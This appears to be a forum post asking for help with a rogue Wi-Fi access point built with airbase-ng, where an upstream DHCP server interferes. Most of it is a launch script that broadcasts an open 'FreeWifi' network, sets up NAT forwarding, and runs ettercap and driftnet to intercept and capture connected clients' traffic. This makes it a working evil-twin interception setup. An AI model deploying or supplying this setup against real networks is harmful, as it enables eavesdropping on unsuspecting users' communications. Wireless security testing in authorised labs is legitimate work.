I have been testing airbase-ng.
I have had it working properly when my PC handed the client the proper dhcp address. The problem I am having most is the dhcp server on the other side of the my rogue laptop passing DHCP settings to the client. Is there a way to block this.

I was thinking maybe iptables could block the wrong dhcp server on the internet side of the rogue laptop from handing out addresses.

Has anyone else had this problem and if so what is your workaround?

Here is the launch script


killall -9  airbase-ng dnsmasq driftnet ettercap
xterm -geometry 96x25+0+0 -e airbase-ng -e FreeWifi -P -C 15 $iface &
sleep 5
ifconfig at0 netmask up
sleep 3
/etc/init.d/dnsmasq start
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o $gw -j MASQUERADE
sleep 3
xterm -geometry 96x25+0+0 -e ettercap -T -i at0 -q &
sleep 3
echo 1 > /proc/sys/net/ipv4/ip_forward
driftnet -i at0